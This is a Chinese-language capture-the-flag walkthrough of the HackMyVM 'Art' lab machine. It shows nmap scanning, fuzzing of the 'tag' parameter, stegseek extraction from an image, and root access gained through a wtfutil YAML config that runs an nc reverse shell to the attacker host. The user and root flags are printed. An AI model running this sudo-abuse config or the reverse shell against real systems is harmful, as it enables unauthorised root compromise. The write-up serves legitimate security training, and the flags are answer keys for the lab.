信息搜集
主机发现
┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.43.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 03:00 EDT
Nmap scan report for 192.168.43.1
Host is up (0.0047s latency).
MAC Address: C6:45:66:05:91:88 (Unknown)
Nmap scan report for art (192.168.43.52)
Host is up (0.00031s latency).
MAC Address: 08:00:27:FF:B6:C9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for CET-AL00 (192.168.43.156)
Host is up (0.043s latency).
MAC Address: B2:A8:93:0D:FB:BD (Unknown)
Nmap scan report for DESKTOP-3NRITEO (192.168.43.197)
Host is up (0.00022s latency).
MAC Address: 04:6C:59:BD:33:50 (Intel Corporate)
Nmap scan report for kali (192.168.43.126)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.93 seconds端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap --min-rate 10000 -p- 192.168.43.52
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 03:03 EDT
Nmap scan report for art (192.168.43.52)
Host is up (0.00036s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:FF:B6:C9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.80 seconds
┌──(kali㉿kali)-[~]
└─$ nmap -sS -sV -O -p22,80 192.168.43.52
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 03:03 EDT
Nmap scan report for art (192.168.43.52)
Host is up (0.00030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
MAC Address: 08:00:27:FF:B6:C9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.73 seconds漏洞利用
看一下80端口有什么
┌──(kali㉿kali)-[~]
└─$ curl http://192.168.43.52
SEE HMV GALLERY!
<br>
<img src=abc321.jpg><br><img src=jlk19990.jpg><br><img src=ertye.jpg><br><img src=zzxxccvv3.jpg><br>
<!-- Need to solve tag parameter problem. -->目录扫描，什么都没有
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.43.52 -w SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x html,txt,php,jpg,png,zip,git
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.52
[+] Method: GET
[+] Threads: 10
[+] Wordlist: SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: zip,git,html,txt,php,jpg,png
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 170]
Progress: 9482032 / 9482040 (100.00%)
===============================================================
Finished
===============================================================尝试模糊测试
┌──(root㉿kali)-[~]
└─# ffuf -w /home/kali/SecLists/Discovery/Web-Content/url-params_from-top-55-most-popular-apps.txt -u 'http://192.168.43.52/index.php?FUZZ=FUZZ' -fc 403 -fs 170 -s -c
tag
┌──(root㉿kali)-[~]
└─# ffuf -w /home/kali/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u 'http://192.168.43.52/index.php?tag=FUZZ' -fc 403 -fs 170,70 -c -s
beauty找到了一个图片，下载下来看看有什么
┌──(kali㉿kali)-[~]
└─$ curl http://192.168.43.52/index.php?tag=beauty
SEE HMV GALLERY!
<br>
<img src=dsa32.jpg><br>
<!-- Need to solve tag parameter problem. -->
┌──(kali㉿kali)-[~]
└─$ stegseek dsa32.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: ""
[i] Original filename: "yes.txt".
[i] Extracting to "dsa32.jpg.out".
权限提升
链接ssh，看一下都有什么
lion@art:~$ ls -la
total 32
drwxr-xr-x 3 lion lion 4096 ago 3 2022 .
drwxr-xr-x 3 root root 4096 ago 3 2022 ..
lrwxrwxrwx 1 lion lion 9 ago 3 2022 .bash_history -> /dev/null
-rw-r--r-- 1 lion lion 220 ago 3 2022 .bash_logout
-rw-r--r-- 1 lion lion 3526 ago 3 2022 .bashrc
drwxr-xr-x 3 lion lion 4096 ago 3 2022 .local
-rw-r--r-- 1 lion lion 807 ago 3 2022 .profile
-rw------- 1 lion lion 24 ago 3 2022 user.txt
-rw------- 1 lion lion 49 ago 3 2022 .Xauthority
lion@art:~$ sudo -l
Matching Defaults entries for lion on art:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lion may run the following commands on art:
(ALL : ALL) NOPASSWD: /bin/wtfutil
lion@art:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
lion@art:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
lion@art:~$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
lion:x:1000:1000:lion,,,:/home/lion:/bin/bashuser.txt
lion@art:~$ cat user.txt
HMVygUmTyvRPWduINKYfmpO尝试利用wtfutil
提权
编辑一个a.yml
wtf:
grid:
columns: [20, 20]
rows: [3, 3]
refreshInterval: 1
mods:
uptime:
type: cmdrunner
args: ['-e','/bin/bash','192.168.43.126','1234']
cmd: "nc"
enabled: true
position:
top: 0
left: 0
height: 1
width: 1
refreshInterval: 30
sudo -u root /bin/wtfutil --config=a.yml
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.43.126] from (UNKNOWN) [192.168.43.52] 47406
id
uid=0(root) gid=0(root) grupos=0(root)root.txt
cat /var/opt/root.txt
mZxbPCjEQYOqkNCuyIuTHMV